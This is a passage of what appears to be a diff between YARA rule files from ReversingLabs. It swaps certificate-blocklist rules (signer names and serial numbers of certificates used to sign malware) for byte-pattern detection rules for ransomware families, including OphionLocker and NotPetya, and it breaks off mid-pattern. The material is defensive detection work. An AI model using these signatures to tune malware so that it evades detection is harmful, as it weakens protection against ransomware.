INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "4ff75d18-926e-51aa-8e1c-b9699669bbd0" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L477-L493" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fe19c4b21c3b70ec571461ca6d9c370a971c01f2d68e3c3916aa1fa0f13b20f8" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + 03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 02 06 07 9A 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 + ?? DE ?? 26 DE ?? 00 03 28 ?? ?? ?? ?? 0C 16 0D 2B ?? 08 09 9A 13 ?? 02 11 ?? 28 ?? ?? + ?? ?? 17 28 ?? ?? ?? ?? 09 17 58 0D 09 08 8E 69 32 ?? DE ?? 26 DE ?? 2A + } + $find_files_p2 = { + 02 7B ?? ?? ?? ?? 2D ?? 03 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 17 2A 03 6F ?? ?? ?? ?? + 0A 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 + 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? + ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 + 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 16 2A 02 7B ?? ?? ?? ?? 2C ?? 03 72 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 16 2A 02 7B ?? ?? ?? ?? 2D ?? 03 72 ?? ?? ?? ?? 6F ?? ?? + ?? ?? 2D ?? 16 2A 03 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 03 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 20 ?? ?? ?? ?? 6A 31 ?? 16 0C DE ?? DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? 07 28 ?? ?? ?? ?? + 2A 08 2A + } + $encrypt_files_p1 = { + 02 03 28 ?? ?? ?? ?? 2C ?? 02 7B ?? ?? ?? ?? 2C ?? 02 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 02 7B ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? 02 03 72 + ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 02 7B ?? ?? ?? ?? 2C ?? 03 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 2C ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2A + } + $encrypt_files_p2 = { + 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 02 20 ?? ?? ?? + ?? 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1B 28 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F + ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 12 ?? 28 ?? ?? ?? ?? 0B 02 07 + 28 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? + DC 02 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A + } + $encrypt_files_p3 = { + 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 26 73 ?? ?? ?? ?? 0A 06 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 06 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 18 6F ?? ?? ?? ?? 04 14 73 ?? ?? ?? ?? 0B 06 07 06 + 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 07 06 6F ?? ?? ?? ?? 1E 5B 6F ?? + ?? ?? ?? 6F ?? ?? ?? ?? 06 1A 6F ?? ?? ?? ?? 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? + ?? ?? ?? 0C 08 06 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 0D 03 19 73 ?? ?? ?? ?? 13 ?? 20 ?? + ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 2B ?? 09 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 11 ?? 11 ?? 16 11 + ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 30 ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 09 + 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 03 28 ?? ?? ?? ?? 2A + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PlanView, Inc." and pe.signatures [ i ] . serial == "1f:4c:22:da:11:07:d2:0c:1e:da:04:56:9d:58:e5:73" and 1366156799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4Fe68D48634893D18De040D8F1C289D2 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Ophionlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects OphionLocker ransomware." author = "ReversingLabs" - id = "40aed582-2960-5b42-acde-7350a2595b4b" - date = "2020-08-05" - modified = "2023-11-08" + id = "75335749-66bd-539e-92b3-dd92c0b332d8" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L495-L511" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.OphionLocker.yara#L1-L105" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "41feebc8800a084ac369b5c5721b1362d371bd503b67823986bad2839157a4b0" + logic_hash = "3c54a948a6a45ec5f5bc32fbbdbc8822f402b1332e9109b20b90635464dbe2ac" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "OphionLocker" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xinghua Yile Network Tech Co.,Ltd." and pe.signatures [ i ] . serial == "4f:e6:8d:48:63:48:93:d1:8d:e0:40:d8:f1:c2:89:d2" and 1371081600 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_6767Def972D6Ea702D8C8A53Af1832D3 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "c60497b4-5abe-52b0-aac9-88953ea6cdf1" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L513-L529" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "aa7f997449b4b8dcf488cfb7f45ee98ca540d39fb861f5b01ff4bb4aa1875b72" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $ol_do_filetypes_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 57 33 DB 53 89 5D ?? 53 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 89 45 ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + } + $ol_do_filetypes_2 = { + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? FF 75 ?? 8D 4D ?? 89 5D ?? 50 + 8D 85 ?? ?? ?? ?? 89 5D ?? 50 53 89 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 + ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 89 65 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 8D 75 ?? 50 E8 ?? ?? + ?? ?? 8B CE C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 58 89 45 ?? 89 5D ?? 88 5D ?? 89 45 ?? 89 + 5D ?? 88 5D ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 8B 39 E9 00 01 00 00 8B 77 ?? + 8D 47 ?? 89 45 ?? 3B 77 ?? 0F 84 EC 00 00 00 8B F8 68 ?? ?? ?? ?? 8B D7 8D 4D ?? E8 ?? ?? ?? ?? 56 8B D0 C6 45 ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 50 8D 4D ?? E8 ?? ?? ?? ?? 53 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 6A ?? 8D 4D + } + $ol_do_filetypes_3 = { + ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? + 89 65 ?? 8D 45 ?? 83 EC ?? 8B CC 50 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? + 81 C4 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 53 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 89 65 ?? 50 E8 ?? + ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 83 C4 ?? 3B 77 ?? 0F + 85 1C FF FF FF 8B 4D ?? 8B 7D ?? 8B 3F 89 7D ?? 3B F9 0F 85 F5 FE FF FF 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 + ?? ?? 8D 85 ?? ?? ?? ?? 89 65 ?? 8B CC BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC E8 ?? ?? ?? ?? C6 45 + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B + CC E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 33 F6 8D 8D + ?? ?? ?? ?? 53 46 56 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 53 56 8D 4D ?? E8 ?? ?? ?? ?? 53 56 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 53 56 8D 4D ?? E8 ?? ?? + ?? ?? 8B 4D ?? 5F 5E 64 89 0D ?? ?? ?? ?? 5B 8B E5 5D C3 + } + $ol_ecies_key_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 57 8B F9 33 DB 89 5D ?? 8D 8D ?? ?? ?? ?? 89 7D ?? 89 5D ?? E8 ?? + ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 46 8D 8D ?? ?? ?? ?? 50 BA ?? ?? ?? ?? 89 75 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B + CC 8B D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 56 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? + ?? ?? BE ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 50 56 FF 75 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 85 C0 0F 85 40 03 00 00 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 51 + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B B4 05 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 50 8B 85 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 FF 56 ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 53 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? BB ?? + ?? ?? ?? 8D 4D ?? 53 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 50 ?? 83 7D ?? ?? 8D 4D ?? 8B F0 + 0F 43 4D ?? 51 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 95 ?? ?? ?? ?? 8B 06 52 8B 48 ?? 03 CE 8B 01 FF 50 ?? + C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 0D 8B 01 6A ?? 8B 40 ?? 03 C8 8B 01 FF 10 33 F6 C6 45 ?? ?? 56 6A ?? 8D 4D ?? E8 + ?? ?? ?? ?? 83 EC ?? 8B CC 53 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? + } + $ol_ecies_key_2 = { + 56 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 53 + E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 + ?? ?? 50 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 59 50 8D 4D ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? + 56 E8 ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 + E8 ?? ?? ?? ?? 59 50 56 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 33 F6 C6 45 ?? ?? 56 50 8D 4D ?? E8 ?? ?? + ?? ?? 56 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC BA ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 95 ?? ?? ?? ?? 8B CC 89 65 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 53 E8 ?? + ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? + 56 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + } + $ol_ecies_key_3 = { + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? EB 30 83 EC ?? 8D 55 ?? 8B CC 89 65 ?? E8 + ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC BB ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 51 8D 4F ?? + E8 ?? ?? ?? ?? 8D 77 ?? C7 07 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 53 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 46 ?? C6 45 ?? ?? 85 C0 74 05 8D 4E ?? EB 02 33 C9 8D 55 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 8B 06 8B CE FF 50 ?? 6A ?? 68 ?? ?? ?? ?? 8B 08 8B 49 ?? 03 C8 8B 01 FF 50 ?? 53 E8 ?? ?? ?? ?? 59 6A ?? + 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B C7 5F 5E 64 89 0D ?? ?? ?? ?? 5B + 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Guangzhou typical corner Network Technology Co., Ltd." and pe.signatures [ i ] . serial == "67:67:de:f9:72:d6:ea:70:2d:8c:8a:53:af:18:32:d3" and 1361750400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $ol_do_filetypes_1 and $ol_do_filetypes_2 and $ol_do_filetypes_3 ) and ( $ol_ecies_key_1 and $ol_ecies_key_2 and $ol_ecies_key_3 ) ) } - -rule REVERSINGLABS_Cert_Blocklist_06477E3425F1448995Ced539789E6842 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Notpetya : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects NotPetya ransomware." author = "ReversingLabs" - id = "21da6056-bf4e-5fc4-bef5-37010ebe8f05" - date = "2020-08-05" - modified = "2023-11-08" + id = "ea655048-4ef7-5dd7-872e-f1c2e38234cf" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L531-L547" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.NotPetya.yara#L1-L73" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c0bc7808bb6bcc8273a887203c1b47d1a49fcb7719863e6bc97b5c7404a254f7" + logic_hash = "328f0e527fee2145879ee13c003d375db832f7f3eacf7a1eb303393c1c8b5a36" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "NotPetya" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_file = { + 8B EC 83 EC ?? 53 56 57 33 F6 56 56 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? + ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 89 + 75 ?? 39 75 ?? 7C ?? B8 ?? ?? ?? ?? 7F ?? 39 45 ?? 76 ?? 89 45 ?? 8B D8 56 53 56 6A + ?? 56 57 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 74 ?? FF 75 ?? 56 56 6A ?? 50 FF 15 ?? ?? + ?? ?? 8B F8 3B FE 74 ?? 53 8D 45 ?? 50 8B 45 ?? 57 56 FF 75 ?? 56 FF 70 ?? FF 15 ?? + ?? ?? ?? 85 C0 74 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF + 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B C9 C2 ?? ?? 8B 45 ?? 89 45 ?? C1 + E8 ?? 8D 58 ?? C7 45 ?? ?? ?? ?? ?? C1 E3 ?? E9 + } + $main = { + 55 8B EC 8B 45 ?? 53 56 8B 35 ?? ?? ?? ?? 57 BF ?? ?? ?? ?? 57 6A ?? BB ?? ?? ?? ?? + 53 83 C0 ?? 6A ?? 50 FF D6 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 57 6A + ?? 6A ?? EB ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 6A ?? 53 8B 45 ?? 6A ?? 83 C0 ?? 50 FF D6 + 85 C0 74 ?? 8B 75 ?? 8B C6 E8 ?? ?? ?? ?? 85 C0 74 ?? 56 6A ?? 56 E8 ?? ?? ?? ?? 56 + E8 ?? ?? ?? ?? FF 76 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 76 ?? FF 15 ?? ?? ?? ?? EB ?? 8B + 75 ?? 56 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 5D C2 + } + $encryption_loop = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 83 7D ?? ?? 53 56 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 75 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 + 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 